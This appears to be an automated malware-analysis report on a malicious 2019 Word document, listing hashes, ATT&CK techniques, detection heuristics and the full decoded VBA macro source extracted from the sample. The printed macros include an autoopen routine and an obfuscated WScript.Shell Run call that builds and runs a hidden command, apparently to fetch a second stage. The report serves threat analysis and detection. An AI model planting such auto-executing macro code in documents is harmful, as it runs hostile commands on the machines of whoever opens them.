Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fc03e1f920d4d45b…

MALICIOUS

Office (OLE)

140.0 KB Created: 2019-01-15 12:09:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 9c019831f584ec35b18719a9691b0f26 SHA-1: d099d437ae208e10ccaaf8e91712e2864a81a317 SHA-256: fc03e1f920d4d45b7a8b7151aab189fa6abec650cfdd34687a488414e27fac7d
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with critical heuristics indicating the use of Shell() and WScript.Shell. The macro code attempts to construct a command string using concatenation, likely to download and execute a second-stage payload. The specific command constructed is 'CreateObject("WscRipt.sHeLl").Run(("" + salmonul + opensourcehj + webservicesuu + invoicenf + solutionorientedwt + ErgonomicMetalCarkw.TextBox1) + Digitizedik + monitorjf, 23 - 23)', which strongly suggests a downloader functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6816061-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6816061-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
     Set paymentrq = Productwb
    multibytekr = Array(Innovativelu, hackingwj, yellowfj, CreateObject("WscRipt.sHeLl").Run!(("" + salmonul + opensourcehj + webservicesuu + invoicenf + solutionorientedwt + ErgonomicMetalCarkw.TextBox1) + Digitizedik + monitorjf, 23 - 23), SASjj, Visionarypj, Platinumwq)
       Set highlevelmt = hackas
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set paymentrq = Productwb
    multibytekr = Array(Innovativelu, hackingwj, yellowfj, CreateObject("WscRipt.sHeLl").Run!(("" + salmonul + opensourcehj + webservicesuu + invoicenf + solutionorientedwt + ErgonomicMetalCarkw.TextBox1) + Digitizedik + monitorjf, 23 - 23), SASjj, Visionarypj, Platinumwq)
       Set highlevelmt = hackas
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Freshic"
    Sub autoopen()
    SportsMusicbo = Array(Corporatemj, Stationtb, Mississippibb, Steelwa, RefinedFrozenPizzaiw, calculateis, whiteboardtz)
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5074 bytes
SHA-256: 18f60372e52bdca369beafb7d6c7c18be759a5a2f2b4530ef42447e6679d8464
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ErgonomicMetalCarkw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Attribute VB_Name = "driverbo"
Function Steelwa()
On Error Resume Next
   Set opticalsi = collaborativeri
For Each hackingpp In Investorph
      For Each endtoendzs In EgyptianPoundjv
         Freshwn = (Oct(328))
      Next
      Do
         architecturesal = CLng(Portscr)
      Loop Until contentbasedlj Eqv opticalpz
      Set ErgonomicPlasticSausageswo = Nationalrj
      backendaa = BeautyToolsun
      For Each Plannerkc In webenabledzb
         Paradigmfz = Cos(XSSft)
      Next
   Next
 Set paymentrq = Productwb
multibytekr = Array(Innovativelu, hackingwj, yellowfj, CreateObject("WscRipt.sHeLl").Run!(("" + salmonul + opensourcehj + webservicesuu + invoicenf + solutionorientedwt + ErgonomicMetalCarkw.TextBox1) + Digitizedik + monitorjf, 23 - 23), SASjj, Visionarypj, Platinumwq)
   Set highlevelmt = hackas
For Each Metalcj In Extensioncf
      For Each InvestmentAccountjv In RefinedSoftComputerli
         Avonzd = (Oct(869))
      Next
      Do
         RefinedFreshHatjd = CLng(violetfj)
      Loop Until visionaryrj Eqv OutdoorsOutdoorsuf
      Set sensorvz = CheckingAccountdp
      GroceryMusicGroceryiq = quantifyvm
      For Each Dobratl In PakistanRupeead
         unleashzc = Cos(capacitorww)
      Next
   Next
 Set Accountabilitypl = Summitwi
   Set Sharablelt = visualizetj
For Each Humanhk In Focusedvp
      For Each copyingrl In HandcraftedSoftShirtjk
         InvestmentAccountzz = (Oct(119))
      Next
      Do
         recontextualizezr = CLng(withdrawaluz)
      Loop Until depositij Eqv generatezj
      Set upwardtrendingki = calculatehz
      matricesol = Cliffsk
      For Each IncredibleRubberBallbp In synthesizecw
         meshfm = Cos(indigotc)
      Next
   Next
 Set crossplatformod = microchiphz
   Set Supervisorza = bypassdv
For Each primarylj In Gorgeousbs
      For Each TanzanianShillinghj In optimalrn
         Arizonanj = (Oct(897))
      Next
      Do
         JordanianDinarpj = CLng(RefinedCottonBikesu)
      Loop Until harddrivezu Eqv compressim
      Set Handcraftedpj = busla
      Bedfordshirezi = Cottonof
      For Each FTPpz In buslq
         ErgonomicWoodenTunabm = Cos(bypassingzm)
      Next
   Next
 Set FantasticPlasticTablecz = partnershipsou
   Set Engineerab = parseww
For Each InvestmentAccountmr In navigaterw
      For Each CreditCardAccountkr In Cornersba
         RefinedCottonPantsar = (Oct(224))
      Next
      Do
         primaryhp = CLng(asymmetrichv)
      Loop Until Gardenao Eqv BahrainiDinarcn
      Set USDollarqm = NewZealandDollartf
      Upsizedaa = freshthinkingdw
      For Each Bordersqp In haptickf
         CreditCardAccountki = Cos(Expresswayhv)
      Next
   Next
 Set Assuranceou = channelsaq
End Function


Attribute VB_Name = "Freshic"
Sub autoopen()
SportsMusicbo = Array(Corporatemj, Stationtb, Mississippibb, Steelwa, RefinedFrozenPizzaiw, calculateis, whiteboardtz)
End Sub

Attribute VB_Name = "morphvs"

Attribute VB_Name = "LicensedGraniteCheesewo"

Attribute VB_Name = "Researchqj"

Attribute VB_Name = "knowledgebaselb"

Attribute VB_Name = "Programpz"

Attribute VB_Name = "Rubbersj"

Attribute VB_Name = "Bedfordshirerb"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Analystsu"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Wayssd"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Netherlandssw"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Agental"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False